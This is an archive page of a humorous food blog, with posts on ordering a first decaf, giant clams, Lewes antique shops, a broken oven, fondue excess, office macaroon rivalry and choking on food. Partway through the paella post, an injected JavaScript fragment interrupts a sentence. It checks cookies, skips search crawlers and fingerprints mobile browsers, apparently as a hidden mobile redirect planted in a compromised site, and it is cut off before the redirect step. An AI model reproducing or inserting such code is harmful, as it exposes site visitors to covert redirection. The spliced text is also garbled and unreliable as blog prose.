Category Archives: gluttony

On the gradual decaffeination of life’s pleasures

One evening this week, at dinner with a friend, the waitress cleared our plates and asked us whether we’d like desserts. Since we hadn’t been too impressed by the food, we decided to go straight to coffee. And for the first time in my life, I ordered a decaf.

There’s something BC/AD about opting for decaf. The first time you do it, you’re mentally bisecting your life, cutting what is to come adrift from your devil-may-care, stimulant-fuelled past. You’re making a statement, and that statement takes many forms, the most anodyne being, ‘I need to get a good night’s sleep tonight’, with more cynical interpretations including, ‘It may be only 10pm, but I’m already thinking about getting home and going to bed’.

For me, the message was, ‘I’ve reached that age where my body now partly dictates my lifestyle’. Which is a daunting admission that elicited a raised eyebrow from our waitress.

It’s part of growing up – and growing old – this gradual shift to moderation. At 18, I’d wake up on Sunday mornings feeling bright and dewy, despite having gone out the night before. Of course, I’d affect a hangover for form’s sake, but in private I naïvely assumed I was someone whose system just didn’t bow to hangovers. Reality set in with each passing year, and now, within reaching distance of 30, I’ll drink only one glass of wine more than usual at dinner and find myself the victim of a stealth attack hangover that leaves me staggering around, miserable and uncomprehending, for two days. As a result, I’ve learnt to eye all alcohol from a respectful distance.

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That would be one gigantic paella

Cycled over to the Natural History Museum last weekend to see The Deep Sea exhibition. One thing struck me more than it probably should have: not only do giant squid exist, but so do giant clams. And giant mussels.

I have to admit I sank into a Homer Simpson-style drooling reverie (‘Mmm…’) upon learning this, imagining the new culinary horizons a haul like that would bring.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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A bit of gushing (apologies)

Recently I’ve been so busy tucking into my food that I’ve hardly stopped to tell anyone about it. But I’m back on track now after a summer of being borderline obsessed with sourcing beautiful old kitchen paraphernalia, travelling around England in search of new places to eat and celebrating becoming the Spaniard’s prometida.

It was during a weekend in Brighton with the sensitive gluttons that I finally managed to get to the foodie treasure trove known as Lewes. Over lunch at Bill’s Produce Store we steadied ourselves for the Aladdin’s caves that lay ahead.

Working up an appetite in the queue at Bill's

Working up an appetite in the queue at Bill's

Everyone wishes they had a general store like this in town...

Everyone wishes they had a general store like this in town...

Some pretty summer squash for good measure

Some pretty summer squash for good measure

Then we plunged headfirst into the antiques shops, hungry for bargains.

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Me against the elements

There’s taking things too far and there’s taking things too far. This story falls into the second, more literal category. But at least it has a happy ending:

The well-travelled cake

The well-travelled cake

I was merrily creaming butter and sugar in preparation for this, Nigel Slater’s lush peach and blueberry cake. My wilted peaches, the cake’s raison d’être, sat expectantly on the kitchen surface. They were in urgent need of a botox injection but settling for some oven-based TLC. Then, as I twiddled the oven dials to warm it up to receive my culinary efforts, it became apparent that nothing would get baked that day.

I’m no stranger to temperamental elements going ele-mental, nor to the heartache they can cause the keen cook. I knew then with grim certainty that me and the oven would be out of action for a good two weeks. I would have two weeks to apportion blame, wondering forlornly whether one can cook too much and overwhelm a kitchen appliance, or whether said appliances are primed like bombs to self-destruct at regular (in my case six-month) intervals for the manufacturer’s pecuniary delectation. Now was the time for action. I had two severely compromised peaches whose lives only I could save from being futile. I had to do something.

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Fondue or die

I can remember with cut-glass clarity the most extreme consumption I’ve ever subjected my body to. Early contenders include the 13 slices of pizza I ate as a child and the all-you-can-eat buffets in vast hotel dining rooms that I hungrily re-re- and re-visited nightly as a teenager. Close runners-up comprise the six-month homesickness-induced binge that was my gap-year work experience placement, and almost every Christmas of my life. America, the continent, I remember as a blur of physically exhausting confrontations with mega-meals – I emerged from the other end of that trip a changed woman, mechanically topping up my stomach to the very brim every time my body contrived to create a little bit of room in there. But things never really got beyond uncomfortable in the States. No: it was in France that I went a forkful too far and where stomach rupture loomed as a near-inevitable end to my evening. And the perpetrator? Fondue.

The thing about melted cheese is that it’s the stealth plane of food. It slides into the gut undetected and lurks behind your stomach walls, trying to pass unnoticed. It’s saltily and oozily moreish, and cunningly surrounds itself with an array of tempting tart and tangy crudité accomplices, the better to disguise its richness. So you dip into the cheese, mix things up with a juicy gherkin, return cravenly to the cheese, try a crisp radish, dip another radish into the cheese… and before you know it, you’ve slumped to the floor drenched in sweat and are clawing at your distended belly, while your red-faced friend asks, ‘Excusez-moi, est-ce qu’il y a un hôpital près d’ici?’.

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The Big Lunch

Here’s what I brought to the table at ‘The Big Lunch’ in my area: pistachio meringues with cream and berries.

The answer to what to do with ten egg whites

The answer to what to do with ten egg whites

Apart from The Big Face Stuffing, other aspects of The Big Lunch included: The Big Balloon Modelling, The Big Drinking Game, The Big Guitar Fest and The Big Sunstroke – followed by The Big Washing Up.

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Joining the Breakfast Club

This week was my turn to cook at The Breakfast Club, a pop-up restaurant run by the oft-mentioned Rachel. It was also the hottest week of the summer so far, with temperatures topping 30 at the weekend.

It was late on Friday evening when I wondered whether I could stand the heat – and if not, whether I should get out of my kitchen. I’d dried the tomatoes for hours in a warm oven. Said oven was now heating up again, this time to welcome my Portuguese custard tarts. I was boiling kettle after kettle of water to turn into iced tea. And everything I touched was starting to melt.

Such was the intensity of the heat that at one point, an apparition came to me. There, at the far end of my kitchen, a mirage appeared, and out of the haze stepped Gregg Wallace, wearing nothing but a white towel and an ugly grin. I’ll never forget what he told me (mainly because he repeats it so often on MasterChef that it’s the next most natural thing to him after breathing). ‘Cooking doesn’t get any tougher than this,’ said he, portentously. ‘Yes it does you ridiculous little man,’ I replied sternly. ‘Now get out of my kitchen before I report you to Hello magazine.’

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Shameless? Indiscreet? Moi?

Last night found me embracing the picnic aspect of the concert I went to at Kenwood house rather too enthusiastically.

No sooner had we settled on the grass among the other fans than I found myself – much to my boyfriend’s dismay – peering indiscreetly at other people’s picnics. In fact, before we’d even unpacked our own dinner, I had craned my neck this way and that and smugly rated the efforts of everyone around me.

There were the M&S devotees, rifling through their lime-green plastic bags and yanking open aggressively sealed plastic containers of Parma ham, hummus, and mozzarella balls with sun-dried tomatoes (then passing round the Percy Pigs). Yawn, I sighed.

Then there was the Waitrose camp, their Waitrose convenience food stored in convenient Waitrose cool bags (or else nestled in large designer hampers). They were tucking heartily into mini pork pies and posh-ly processed potato salads. They had all the gear – not only wine glasses but wine glass holders – but there was no… X-factor.

There was one pitiful girl sat spearing vegetables from a slab of couscous in her single Tupperware: everyone in her group was also guarding the one dish they’d brought along with them. I averted my eyes, embarrassed for them.

As for the couple in front of us, they were tucking into just one course: a bottle of red wine. Enough said.

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Macaroon wars

It started with Rachel, who brought her chewy and moreish macaroons into the office and proceeded to ply us with them – not once, but several times – as she perfected her technique.

Not to be outdone, Monaz – a Leith’s graduate – produced dinky and delicate, perfectly smooth and enviably uniform pink ‘macarons’, with a brittle crust and Nutella filling, for our delectation.

Charmaine was next up, handing round yet more delicious homemade macaroons delicately scented with Earl Grey.

I’d actually planned to avoid this particular bandwagon, but curiosity finally got the better of me and the other week I found myself throwing my hat into the macaroon ring. I spent another rainy Sunday afternoon amusing myself by piping miniature dog poo-esque spirals of meringue mixture onto a baking tray and trying to bring sugar to the soft ball stage with only a glass of water for guidance.

Waitrose provided the recipe. I whipped out the piping bag for another showdown. And here’s the result.

Chocolate pistachio macaroons

Not perfect... but not so shabby either

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Visions of the last supper

Have you ever choked on a piece of food so violently that halfway through your struggle for air a panicky thought enters your crowded head suggesting with increasing horror the idea that what you have just eaten might be (or have been…) your last meal? And, as you splutter, you think, ‘No, not this way, please God. Not over an M&S egg and cress sandwich or a slice of takeaway pizza. I’ve got my last meal covered, I’ve talked about it in depth, and this definitely isn’t it.’

I’ve witnessed similar thoughts cross the minds of people I know. Aged nine, I was at a stately home on a family day out when my grandad caused a stir in the cafeteria. One minute he was chomping on the limp lettuce that was bringing up the rear of a joy-stripped, cling-wrapped Ploughman’s; the next he was desperately rocking and wheezing, and a clamour of strangers was trying to expel said salad leaf from his grasping windpipe. Even as he coughed and gasped, you could see that he was thinking wildly, ‘Lettuce? A world war under my belt and in the end it comes down to vegetation? I don’t even rate lettuce.’ He was fine in the end, but his consciousness absolutely whispered those words during his fight for breath.

The same thing has happened to me. I don’t think that it’s because I eat too fast or in too much of a slovenly manner: I think it’s probably a hazard of eating as many things as I do – being over-familiar with the mechanics of eating probably makes me less alert to its menace. My two nearest-death experiences were not with overtly risky food – none of your Japanese blowfish or hand-picked wild mushrooms – but instead with the innocent-looking and innocuous stick of cheap confectionery that is the Twix.

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